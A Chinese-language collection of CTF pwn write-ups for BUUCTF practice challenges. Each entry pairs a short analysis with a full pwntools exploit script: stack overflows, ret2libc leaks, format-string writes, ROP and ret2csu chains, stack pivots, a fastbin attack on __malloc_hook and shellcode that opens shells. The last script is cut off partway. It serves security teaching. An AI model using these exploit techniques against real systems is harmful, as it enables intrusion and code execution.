第一道题就不说了,也懒得分析了,直接nc就行,题目名称也能看出来
rip
首先查看一下文件的相关信息
64位程序,没有任何保护。
用IDA打开对程序逻辑进行分析
输入使用的gets,根据这点,直接栈溢出即可。
观察其他函数可以发现有一个名叫fun的函数,里面有system("/bin/sh"),运行这个函数就可以拿到权限
现在的问题就是获取我们需要填充的字节数了(去填充ret返回地址)
有趣的就在这儿,服务器那边的程序和拿到手里的程序是有区别的:
- 首先,远程的服务器(docker)里运行的程序没有对标准输入取消缓冲区,即我们本地的程序是会先输入再输出,远程是直接先输入,写exp时需要注意这点
- 其次,经过测试本地需要填充的字节数与远程程序需要填充的字节数是不一致的,需要作出更改
需要注意的地方就是这两点,本地填充字节数为23,远程为15(因为字节数不大,爆破即可。根据返回的保存信息向下寻找正确的填充字节数)
from pwn import *
#context.log_level='debug'
#r = process("./pwn1")
r = remote("node3.buuoj.cn", xxxxx)
payload = 'a'*15 + p64(0x401186) #fun函数位置为0x401186
#r.recvuntil("please input")
sleep(1)
r.sendline(payload)
r.interactive()
warmup_csaw_2016
怎么说呢...这道题是被降低难度了(虽然也差不了多少)
拿到题目后先checksec查看程序相关信息,再运行一下理清程序大致流程
从checksec结果可以看到程序没有开任何保护,且为64位程序
再看运行过程,发现程序会打印一个16进制数。
带着这些信息我们来看IDA的分析结果
可以看到程序会将system("cat flag.txt")的地址打印给我们(程序打印的16进制数)
下面的输入点是使用gets函数来进行输入的
有gets必有栈溢出,接下来来确定需要填充的字符数
使用cyclic工具先生成200个字符用于之后的输入
gdb打开程序r开始运行,在输入点将cyclic生成的200个字符复制进去
此时程序会因为栈溢出而使返回地址出现错误停下来,汇编代码会停在ret位置
记录此时栈顶的前四个字符
退出gdb,继续使用cyclic工具来计算具体需要填充的字符数
得到了结果:需要填充72个字符
写EXP即可
from pwn import *
r = remote("node3.buuoj.cn", xxxxx)
#r = process("./warmup_csaw_2016")
r.recvuntil(">")
payload = 'a'*72 + p64(0x40060d)
r.sendline(payload)
r.interactive()
ps: 这道题目的设计思路感觉应该要开地址随机化的,这样每次打印出来的system("cat flag.txt")地址才会不一样,整个题目才会有意义,外加题目也给了后门函数的地址,这样来说,附件也是应该不提供的,整个题目作为一个fuzz类的入门题,这样虽然每次的system地址不一致,但会打印出来,而填充的无效字符数又是固定的,使用fuzz将会在很短的时间里将结果跑出来(记得xctf中有道题就是这样的...)
pwn1_sctf_2016
题目链接
程序相关信息
32位程序,有NX保护,堆栈内容不可执行
用IDA分析主要函数
首先在左侧的函数窗口可以发现一个名为get_flag的函数,有了这个函数就可以获取到本道题的答案
接下来的任务就是思考如何让程序执行这个函数
进入主要函数vuln()中进行详细的分析
首先可以发现程序接受了32个字符,而接受的数组也是32,即没有造成溢出
接下来来看其中的一些函数的意义
可以注意到里边有一个replace函数,它为一个替换函数,将一个子串替换成另一个子串
结合上下文代码我们可以知道程序是将输入的字符串中的"I"子串全部替换成"YOU"子串
如果这样的话就会扩展输入的字符串(的长度),可以利用这一点来进行栈溢出运行get_flag函数
from pwn import *
context.log_level = 'debug'
r = process("./pwn1_sctf_2016")
#r = remote("node3.buuoj.cn", xxxxx)
get_flag = 0x08048F0D
payload = 'I'*21 + 'a' + p32(get_flag)
#r.recvuntil("yourself")
r.sendline(payload)
r.interactive()
这道题运行的时候会先进行输入再打印内容,写EXP之前建议先nc一下熟悉一下流程
ciscn_2019_n_1
这道题感觉难点在找那个十六进制...服了
拿到题目后首先查看题目的相关信息
64位程序,有NX保护,堆栈内容不可执行
IDA打开程序进行具体分析
可以看到有gets输入,则必有栈溢出
可以看到当v2等于11.28125时,就能拿到flag了(栈溢出,v1下面就是v2)
基本就可以写EXP了,但要注意一个问题
11.28125如果直接传是肯定有问题的,得用十六进制来传
如何找他的十六进制?有两种办法
- 在IDA中直接看汇编,在汇编代码中可以直接看到十六进制的数据内容
- 网上随便找过一个浮点数转十六进制即可
两种方法都可以,看个人习惯
from pwn import *
context.log_level="debug"
#r = process("./ciscn_2019_n_1")
r = remote("node3.buuoj.cn", xxxxx)
r.recvuntil("number")
num = 0x41348000
payload = 'a'*44 + p32(num) #v2长度为4
r.sendline(payload)
r.interactive()
jarvisoj_level0
很简单的一道栈溢出,按流程来就行
首先checksec查看相关信息
64位程序,且只开了NX保护
IDA打开分析程序,首先在左侧的函数窗口可以发现一个名为"callsystem"的函数
从这儿我们可以知道只要让程序可以执行到这个位置就能拿到flag
再从主函数中去跟踪程序流程,可以看到这个位置
很明显的栈溢出,且他没有canary保护,那么直接写EXP即可
from pwn import *
#r = process("./level0")
r = remote("node3.buuoj.cn", xxxxx)
callsystem = 0x400596
payload = 'a'*(0x80+8) + p64(callsystem)
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()
ciscn_2019_c_1
栈对齐可真是……真是妙极了
64位程序,checksec自己查就行,就不放图了
IDA打开后先查找字符串,可以发现没有什么能用的东西……
主要的漏洞点在encrypt这个函数中,进去后可以很明显的发现一个gets函数,栈溢出没跑了
可以了解到的是,在gets获取输入后会对字符串进行一个xor(异或)操作
初步的思路是先在本地进行一次xor异或,再进行发送,这样的话两次异或就会将字符串恢复成想要的样子
(在查writeup的时候看到其他师傅有一种骚操作:payload第一个字符写成'\0'来绕过加密函数……注意有一个strlen函数)
gets的栈溢出意味着溢出内容可以很大很大,考虑直接用puts函数泄漏puts函数的got表,再用LibcSearcher进行查找
比较坑的点在最后一个payload,此时system函数和 /bin/sh 的地址已经得到了,直接利用即可,但因为在ubuntu18上,有栈对齐这个问题...
则需要用ret去尝试进行栈对齐(本地n次可以,远程n次失败...)
额外提醒一个点,bss不可执行
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
def Xor(str1):
for i in str1:
if(i <= '`' or i > 'z'):
if(i <= '@' or i > 'Z'):
if(i > '/' and i <= '9'):
i = chr(ord(i) ^ 0xF)
else:
i = chr(ord(i) ^ 0xE)
else:
i = chr(ord(i) ^ 0xD)
return str1
r = remote("node3.buuoj.cn", xxxxx)
# r = process("./ciscn_2019_c_1")
elf = ELF("./ciscn_2019_c_1")
pop_rdi = 0x400c83
r.recvuntil("Input your choice!")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted")
payload = 'a'*(0x50+8) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
payload = Xor(payload)
r.sendline(payload)
r.recvuntil("llllllllll")
r.recvuntil("\n")
puts_got = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00"))
log.success("puts => {}".format(hex(puts_got)))
libc = LibcSearcher("puts", puts_got)
base = puts_got - libc.dump("puts")
sys = libc.dump("system") + base
binsh = libc.dump("str_bin_sh") + base
log.success("system => {}".format(hex(sys)))
log.success("/bin/sh => {}".format(hex(binsh)))
ret = 0x4006b9
# r.recvuntil("Input your choice!")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted")
payload = 'a'*(0x50+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys) + p64(elf.symbols['main'])
payload = Xor(payload)
r.sendline(payload)
r.interactive()
[OGeek2019]babyrop
32位程序,有NX保护
浏览程序可以看到函数中有一部分会将我们的输入与随机数进行对比,但是在之前有一个strlen,payload首字符填充'\0'就可以绕过
绕过后就有一个栈溢出了,libc题目也给了,打印一个got算一下libc的偏移就可以直接获取shell了
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# r = remote("node3.buuoj.cn", xxxxx)
r = process('./pwn', env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
main = 0x08048825
write_plt = elf.plt['write']
read_got = elf.got['read']
payload = '\x00' + '\xff'*10
r.send(payload)
r.recvuntil("Correct\n")
payload = 'A'*(0XE7+4)+ p32(write_plt)+ p32(main)+ p32(1)+ p32(read_got)+ p32(4)
r.send(payload)
read_addr = u32(r.recv())
log.success("read_addr => {}".format(read_addr))
payload = '\x00' + '\xff'*10
r.send(payload)
r.recvuntil("Correct\n")
base = read_addr - libc.symbols['read']
sys_addr = base + libc.symbols['system']
bin_addr = base + libc.search("/bin/sh").next()
payload = 'a'*(0XE7+4)+ p32(sys_addr)+ 'aaaa'+ p32(bin_addr)
r.send(payload)
r.interactive()
[第五空间2019 决赛]PWN5
32位程序,IDA打开后可以很明显的看到一个格式化字符串漏洞(main函数第21行)
程序流程是获取一个随机数,并将其存储在BSS段
紧接着获取用户输入查看是否一致
因为有格式化字符串漏洞,则可以直接改写bss段存储的数据以达到控制目的
from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn", xxxxx)
bss = 0x0804C044
payload = p32(bss) + '%10$n'
r.recvuntil("your name:")
r.sendline(payload)
r.recvuntil("Hello,")
r.recvuntil("your passwd:")
r.send('4')
r.interactive()
[BJDCTF 2nd]r2t3
32位程序,IDA打开后在name_check函数中我们可以看到一个strcpy,但是很可惜的是在上面还有一个strlen函数用于防护
查看其它位置后发现没有别的利用点,考录strcpy的结果是否可以溢出
查看汇编代码可以发现strlen的结果是存储在al寄存器中的
al寄存器是八位寄存器,则我们可以利用这一点去进行strlen的结果溢出(整数溢出)
from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn", xxxxx)
door = 0x0804858B
payload = 'a'*(0x11+4) + p32(door)
payload = payload.ljust(261, 'a')
r.recvuntil("[+]Please input your name:")
r.sendline(payload)
r.interactive()
get_started_3dsctf_2016
32位程序,IDA打开后会发现有很多很多函数,而且其中有一个get_flag函数
main函数是一个很简单的栈溢出漏洞,我们可以直接控制程序去执行get_flag函数
需要注意的点是返回地址不能随便写,随便写的话程序会异常退出导致无回显看不到flag
from pwn import *
context.log_level = 'debug'
r = remote("node3.buuoj.cn" ,26115)
# r = process("./get_started_3dsctf_2016")
door = 0x080489A0
exit = 0x0804E6A0
# r.recvuntil("Qual a palavrinha magica? ")
payload = 'a'*(56)+ p32(door)+ p32(exit)+ p32(0x308CD64F)+ p32(0x195719D1)
r.sendline(payload)
r.interactive()
ciscn_2019_en_2
这题...好像和上面那道题没什么区别
EXP直接没改就过了...很迷惑
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
def Xor(str1):
for i in str1:
if(i <= '`' or i > 'z'):
if(i <= '@' or i > 'Z'):
if(i > '/' and i <= '9'):
i = chr(ord(i) ^ 0xF)
else:
i = chr(ord(i) ^ 0xE)
else:
i = chr(ord(i) ^ 0xD)
return str1
r = remote("node3.buuoj.cn", xxxxx)
# r = process("./ciscn_2019_c_1")
elf = ELF("./ciscn_2019_en_2")
pop_rdi = 0x400c83
r.recvuntil("Input your choice!")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted")
payload = 'a'*(0x50+8) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
payload = Xor(payload)
r.sendline(payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
puts_got = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00"))
log.success("puts => {}".format(hex(puts_got)))
libc = LibcSearcher("puts", puts_got)
base = puts_got - libc.dump("puts")
sys = libc.dump("system") + base
binsh = libc.dump("str_bin_sh") + base
log.success("system => {}".format(hex(sys)))
log.success("/bin/sh => {}".format(hex(binsh)))
ret = 0x4006b9
# r.recvuntil("Input your choice!")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted")
payload = 'a'*(0x50+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys) + p64(elf.symbols['main'])
payload = Xor(payload)
r.sendline(payload)
r.interactive()
ciscn_2019_n_8
32位程序,IDA打开进行分析
主函数中可以看到当var[13]等于17的时候就可以获取shell了
点击VAR可以看到这是个存储在BSS上的数组,DD说明是以4字节为单位的
下面的判断处有一个强制类型转换:(_QWORD )&var[13]
这个是8字符的
有了这些信息就可以写脚本了
from pwn import *
r = remote("node3.buuoj.cn", xxxxx)
payload = 'a'*(13*4)+ p64(17)
r.recvuntil("?")
r.sendline(payload)
r.interactive()
jarvisoj_level2
32位程序,很简单的栈溢出,而且还有system函数和/bin/sh字符串,直接用即可
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./level2")
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./level2")
system = elf.plt['system']
binsh = elf.symbols['hint']
payload = 'a'*(0x88+4) + p32(system) + 'aaaa' + p32(binsh)
r.sendline(payload)
r.interactive()
not_the_same_3dsctf_2016
32位程序,有NX保护。
主函数里有gets,且没有canary保护,直接栈溢出。且程序中有一个后门函数(get_secret)
执行后可将flag读取之BSS段,接着将其打印出来即可
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./not_the_same_3dsctf_2016")
door = 0x080489A0
write = 0x0806E270
flag = 0x080ECA2D
payload = 'a'*(45)
payload += p32(door)
payload += p32(write) + 'aaaa' + p32(1) + p32(flag) + p32(0xffff)
# r.recvuntil("...")
r.sendline(payload)
r.interactive()
[BJDCTF 2nd]one_gadget
64位程序,保护全开
首先从题目描述中可以大概知道这道题需要用到one_gadget
先下载libc,获取one_gadget
➜ Desktop one_gadget libc-2.29.so
0xe21ce execve("/bin/sh", r15, r13)
constraints:
[r15] == NULL || r15 == NULL
[r13] == NULL || r13 == NULL
0xe21d1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe21d4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
因为最后一个one_gadget需要的条件最少,也最有可能成功,记住他的地址备用
IDA大概程序进行分析
在INIT函数中程序将printf的地址打印了出来
main函数中有一个函数指针,值可以由我们进行控制
libc已经拿在手中了,那根据打印出来的地址即可算出libc加载的偏移
将记下的one_gadget地址加上偏移发送过去即可getshell
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
r = remote("node3.buuoj.cn", xxxxx)
libc = ELF("./libc-2.29.so")
libc_printf = libc.symbols['printf']
one_gadget = 0x106ef8
r.recvuntil("here is the gift for u:0x")
printf = int(r.recvline()[:-1], 16)
log.success("printf => {}".format(hex(printf)))
base = printf - libc_printf
payload = str(one_gadget + base)
r.recvuntil("Give me your one gadget:")
r.sendline(payload)
r.interactive()
bjdctf_2020_babystack
64位程序,有NX保护
IDA打开后有后门函数(backdoor),且输入长度可以控制(nbytes)
简单的栈溢出
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./bjdctf_2020_babystack")
backdoor = elf.symbols['backdoor']
r.recvuntil("[+]Please input the length of your name:")
r.sendline("50")
r.recvuntil("[+]What's u name?")
payload = 'a'*(24) + p64(backdoor)
# gdb.attach(r)
r.sendline(payload)
r.interactive()
[HarekazeCTF2019]baby_rop
64位程序,简单的栈溢出+rop,就不分析了
这道题的flag在这个位置"/home/babyrop/flag"
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./babyrop")
pop_rdi = 0x0000000000400683
system = elf.plt['system']
binsh = elf.symbols['binsh']
payload = 'a'*(24) + p64(pop_rdi) + p64(binsh) + p64(system)
r.recvuntil("name?")
r.sendline(payload)
r.interactive()
jarvisoj_level2_x64
不用多说什么了吧?
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./level2_x64")
pop_rdi = 0x00000000004006b3
system = elf.plt['system']
binsh = elf.symbols['hint']
payload = 'a'*(0x80+8) + p64(pop_rdi) + p64(binsh) + p64(system)
r.recvuntil("Input:")
r.sendline(payload)
r.interactive()
ciscn_2019_n_5
64位程序,什么保护都没有
IDA打开分析后可以看到可以控制bss段的一部分内容(0x64),而且还有一个栈溢出(gets)
pwntools的shellcraft生成一个64位的payload即可
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
r = remote("node3.buuoj.cn", xxxxx)
bss = 0x0000000000601080
shell = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
payload = 'a'*(0x20+8) + p64(bss)
r.recvuntil("name")
r.sendline(shell)
r.recvuntil("me?")
r.sendline(payload)
r.interactive()
ciscn_2019_ne_5
➜ ubuntu ROPgadget --binary ciscn_2019_ne_5 --string "sh"
Strings information
============================================================
0x080482ea : shs
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
r = remote("node3.buuoj.cn", 29892)
elf = ELF("./ciscn_2019_ne_5")
SYSTEM = elf.plt['system']
binsh = 0x080482ea
payload = 'a'*(0x48+4) + p32(SYSTEM) + 'aaaa' + p32(binsh)
r.recvuntil("password:")
r.sendline("administrator")
r.recvuntil("0.Exit\n:")
r.sendline("1")
r.recvuntil("Please input new log info:")
r.sendline(payload)
r.recvuntil("0.Exit\n:")
r.sendline("4")
r.interactive()
铁人三项(第五赛区)_2018_rop
简单的rop...
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 29976)
elf = ELF("2018_rop")
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']
payload = 'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
r.sendline(payload)
write = u32(r.recv(4))
log.success("write => {}".format(hex(write)))
libc = LibcSearcher("write", write)
base = write - libc.dump("write")
sys_addr = base + libc.dump("system")
bin_addr = base + libc.dump("str_bin_sh")
payload = 'a'*(0x88+4) + p32(sys_addr) + 'aaaa' + p32(bin_addr)
r.sendline(payload)
r.interactive()
others_shellcode
emmmm....?
int __cdecl main(int argc, const char **argv, const char **envp)
{
getShell();
return 0;
}
bjdctf_2020_babyrop ★
64 位有NX保护
vuln函数有溢出,没有system函数以及“/bin/sh“字符串,但有read和puts,常规做法直接莽就行
from pwn import *
from LibcSearcher import *
context.log_level="debug"
# r = remote("node4.buuoj.cn", 28798)
r = process("./bjdctf_2020_babyrop")
elf = ELF("./bjdctf_2020_babyrop")
puts_plt = elf.plt['puts']
puts_got = elf.got['read']
start = elf.symbols['_start']
pop_rdi = 0x400733
payload = 'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start)
r.recvuntil("Pull up your sword and tell me u story!")
# pause()
r.send(payload)
r.recvline()
puts_addr = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00"))
log.success("puts addr ==> {}".format(hex(puts_addr)))
libc = LibcSearcher("read", puts_addr)
base = puts_addr - libc.dump("read")
system = libc.dump("execve") + base
binsh = libc.dump("str_bin_sh") + base
payload = 'a'*0x28 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(start)
r.recvuntil("Pull up your sword and tell me u story!")
# pause()
r.send(payload)
r.interactive()
这个题略显诡异,本地跑不通,远程也打不通,但是调试的时候构造的东西都合适这...后续再看
babyheap_0ctf_2017
挺有意思的一道堆溢出,漏洞点在 Fill 函数处
Fill 函数的作用是填充申请的堆块,但是他并有验证输入的字符长度,造成可以无限长度的堆溢出
思路:
- 构造 smallbin 直接打 Unsortedbin 来泄漏 unsortedbin 地址
- 通过 unsortedbin 地址计算 main_arena 地址(Unsortedbin-0x58)
- 通过 main_arena 计算 __malloc_hook 地址(main_arena-0x10)
- 通过 __malloc_hook 地址使用 LibcSearcher 来查找对应的 libc,并计算加载基址
- 找到后再利用 One_gadget 来查找可以利用的 one_gadget,并计算真实加载地址
- 利用 GDB 运行程序,在 __malloc_hook 上面查找可以构造成 chunk 的内存区域
- 找到后计算其对应的 bin 链表
- 申请两个相同 bin 链对应大小的 chunk
- free 这两个 chunk 中的第二个 chunk
- 利用第一个 chunk 更改第二个 chunk 的 fd 指针至我们刚才找到的内存区域位置(mallochook 上方)
- 两次申请即可将 mallochook 区域处的内存申请出来
- 通过 Fill 函数将 __malloc_hook 处的内存修改为 one_gadget 的加载地址
- 申请堆块触发 __malloc_hook 来执行 one_gadget 完成整个利用过程
PS:
- 在执行 malloc 函数前会检查 __malloc_hook,若为空则继续执行 malloc,否则先去执行 __malloc_hook 对应的内容
- main_arena = Unsortedbin-0x58 和 __malloc_hook = main_arena-0x10 为固定偏移
- 使用 LibcSearcher 是为了通用性,当然也可以直接拿 libc 文件去看 main_arena 的偏移来计算加载基址
代码:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *
context.log_level = 'info'
# r = remote("node4.buuoj.cn", 27165)
r = process("./babyheap_0ctf_2017")
def Add(size):
r.sendlineafter("Command:", "1")
r.sendlineafter("Size:", str(size))
def Fill(index, size, text):
r.sendlineafter("Command:", "2")
r.sendlineafter("Index:", str(index))
r.sendlineafter("Size:", str(size))
r.sendafter("Content:", text)
def Free(index):
r.sendlineafter("Command:", "3")
r.sendlineafter("Index:", str(index))
def Dump(index):
r.sendlineafter("Command:", "4")
r.sendlineafter("Index:", str(index))
Add(0x58) # 0
Add(0x58) # 1
Add(0x58) # 2
Add(0x58) # 3
payload1 = 'a'*0x58+'\xc1'
Fill(0, 0x59, payload1) # 0 修改1 覆盖2,通过2来泄漏unsortedbin地址
Free(1) # free 1
Add(0x58) # 1
Dump(2)
r.recvline() # 掠过提示信息
unsortedbin = u64(r.recv(8)) # unsortedbin 泄漏
main_arena = unsortedbin - 88
__malloc_hook = main_arena - 0x10
memory_use = __malloc_hook - 0x23 # 0x7f2eb9945aed <_IO_wide_data_0+301>: 0x2eb9944260000000 0x000000000000007f
log.success("unsorted bin addr => {}".format(hex(unsortedbin)))
log.success("main_arena addr => {}".format(hex(main_arena)))
log.success("__malloc_hook addr => {}".format(hex(__malloc_hook)))
log.success("memory use => {}".format(hex(memory_use)))
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
one_ggs = str(subprocess.check_output(['one_gadget', '--raw', '-f',filename]))[2:-3].split(" ")
return list(map(int,one_ggs))
libc = LibcSearcher("__malloc_hook", __malloc_hook)
base = __malloc_hook - libc.dump("__malloc_hook")
log.success("libc base addr => {}".format(hex(base)))
log.info(libc.path()) # 获取选择的libc的地址,LibcSearcher我修改过,添加了一个输入path的功能
ogg = one_gadget(libc.path())
for i in ogg:
print("{} ".format(hex(i))) # 获取 libc 中的 one_gadget
offset = int(input("select a one_gadget({} to {}): ".format(0, len(ogg)-1)))
gadget = base + int(ogg[offset])
log.info("gadget addr => {}".format(hex(gadget)))
Add(0x68) # 4
Add(0x68) # 5
Free(5) # free 5
payload2 = flat([ 'a'*0x68, 0x71, memory_use ], word_size=64)
Fill(4, 0x68+16, payload2)
Add(0x68) # 5
Add(0x68) # 6
payload3 = flat([ 'a'*(8*2+3), gadget ], word_size=64)
Fill(6, 27, payload3)
# pause()
Add(24)
r.interactive()
pwn2_sctf_2016
简单题,直接看吧
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 25841)
# r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
start = elf.sym['_start']
payload = flat([ 'a'*(0x2c+4), printf_plt, start, printf_got ])
r.sendlineafter("How many bytes do you want me to read?", "-1")
r.sendlineafter("of data!", payload)
r.recvline()
r.recvline()
printf_addr = u32(r.recv(4))
# log.success("printf addr => {}".format(hex(printf_addr)))
# libc = LibcSearcher("printf", printf_addr)
# base = printf_addr - libc.dump("printf")
# system = base + libc.dump("system")
# binsh = base + libc.dump("str_bin_sh")
system = printf_addr -0xe6e0
binsh = printf_addr +0x11000b
payload1 = flat([ 'a'*(0x2c+4), system, start, binsh ])
r.sendlineafter("How many bytes do you want me to read?", "-1")
r.sendlineafter("of data!", payload1)
r.interactive()
jarvisoj_fm
格式化字符串漏洞,没啥多说的
from pwn import *
r = remote("node4.buuoj.cn", 28212)
# r = process("fm")
payload = flat([ 0x0804A02C, '%11$n' ])
r.sendline(payload)
r.interactive()
ciscn_2019_s_3
栈溢出,给了几个gadget,其中一个是execev的eax,那边利用execve的系统调用来解题
execve需要后两个参数为0,程序中可以找到设置rdi,rsi的gadget,但是并没有设置rdx的gadget,需要利用 ret2csu 方法
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 26212)
# r = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")
ret = 0x4003a9
execve = 0x4004E2
syscall = 0x400517
pop_rdi = 0x4005a3
pop_rsi_r15 = 0x4005a1
pop_r13_14_15 = 0x40059A
csu = 0x400580
vuln = elf.sym['vuln']
pause()
binsh = "/bin/sh\x00" + p64(0x4003a9)
binsh = binsh.ljust(16, 'a')
payload = flat([ binsh, vuln ], word_size=64)
r.sendline(payload)
r.recvline()
r.recv(7)
addr = u64(r.recv(8))
buf = addr - 0x118
log.info("addr => {}".format(hex(addr)))
log.success("buf addr => {}".format(hex(buf)))
payload1 = flat([ binsh, pop_r13_14_15, 0, 1, buf+8, 0, 0, buf, csu, 'a'*7, pop_rdi, buf, execve, syscall ], word_size=64)
r.sendline(payload1)
r.interactive()
bjdctf_2020_babystack2
简单题
from pwn import *
r = remote("node4.buuoj.cn", 26642)
# r = process("./bjdctf_2020_babystack2")
payload = flat([ 'a'*0x18, 0x400726 ], word_size=64)
r.sendlineafter("[+]Please input the length of your name:", "-1")
r.sendlineafter("[+]What's u name?", payload)
r.interactive()
HarekazeCTF2019-baby_rop2
还是简单题
最近发现libc-database经常找不到对应的libc
网站是真好用:https://libc.nullbyte.cat/
from pwn import *
from LibcSearcher import *
context.log_level = 'info'
r = remote("node4.buuoj.cn", 29727)
# r = process("./babyrop2")
elf = ELF("./babyrop2")
printf_plt = elf.plt['printf']
read_got = elf.got['read']
start = elf.sym['_start']
pop_rdi = 0x400733
# pause()
payload = flat([ 'a'*0x28, pop_rdi, read_got, printf_plt, start ], word_size=64)
r.sendlineafter("What's your name? ", payload)
r.recvline()
# print(r.recvuntil("What")[":-4"].ljust(8, '\x00'))
read_addr = u64(r.recvuntil("What")[:-4].ljust(8, '\x00'))
log.success("read addr => {}".format(hex(read_addr)))
# libc = LibcSearcher("read", read_addr)
# base = read_addr - libc.dump("read")
# system = base + libc.dump("system")
# binsh = base + libc.dump("str_bin_sh")
system = read_addr -0xb1ec0 # https://libc.nullbyte.cat/?q=read%3A0x7f868a45c250&l=libc6_2.23-0ubuntu10_amd64
binsh = read_addr +0x95b07
payload1 = flat([ 'a'*0x28, pop_rdi, binsh, system, start ], word_size=64)
r.sendlineafter("name? ", payload1)
r.recvline()
r.interactive()
jarvisoj_level3
很烦,LibcSearcher一直找不到,我是不是应该在本地部署一个网站查询方式的了...
无语
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 27911)
# r = process("./level3")
elf = ELF("./level3")
write_plt = elf.plt['write']
write_got = elf.got['write']
start = elf.sym['_start']
payload = flat([ 'a'*(0x88+4), write_plt, start, 1, write_got, 4 ])
r.sendlineafter("Input:\n", payload)
# r.recvuntil("Hello, World!\n")
write_addr = u32(r.recv(4))
log.success("write addr => {}".format(hex(write_addr)))
# libc = LibcSearcher('write', write_addr)
# base = write_addr - libc.dump('write')
# system = base + libc.dump("system")
# binsh = base + libc.dump("str_bin_sh")
system = write_addr -0x99a80
binsh = write_addr +0x84c6b
payload1 = flat([ 'a'*(0x88+4), system, start, binsh ])
r.sendlineafter("Input:\n", payload1)
r.interactive()
ciscn_2019_es_2
只能覆盖到ret,栈迁移,多调试几次就出来了
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 26024)
# r = process("./ciscn_2019_es_2")
elf = ELF("./ciscn_2019_es_2")
backdoor = 0x0804854B
system = elf.plt['system']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = elf.sym['vul']
payload = flat([ 'a'*(0x28) ])
r.sendafter("Welcome, my friend. What's your name?\n", payload)
r.recv(0x2f)
rbp = u32(r.recv(4))
buf = rbp - 0x38
log.success("rbp => {}".format(hex(rbp)))
log.success("buf addr => {}".format(hex(buf)))
pause()
payload1 = flat([ 'a'*4, system, 'a'*4, buf+0x10, "cat<flag\x00", 'a'*0xf, buf, start+103 ])
r.send(payload1)
r.interactive()
ez_pz_hackover_2016
这题也没啥好说的,提示信息那么明显,直接正面刚就行
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 28861)
# r = process("./ez_pz_hackover_2016")
r.recvuntil("Yippie, lets crash: ")
addr = int(r.recvline()[:-1], 16)
payload = flat([ "crashme", 0, 'a'*15, addr-0x1c, asm(shellcraft.sh()) ])
r.sendlineafter("> ", payload)
r.interactive()
jarvisoj_tell_me_something
??? 第一页的最后一道题,还以为会是个堆...
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 25007)
# r = process("./guestbook")
backdoor = 0x400620
payload = flat([ 'a'*0x88, backdoor ], word_size=64)
r.sendlineafter("Input your message:\n", payload)
r.interactive()
Black Watch 入群题-PWN
有意思的一道题,还是溢出只能到ret位置,需要栈迁移,bss段有一段非常大的空间, 来回绕就行了
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 25798)
# r = process("./spwn")
elf = ELF("./spwn")
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
start = elf.sym['_start']
pop_ebp = 0x080485ab
pop4_ret = 0x080485A8
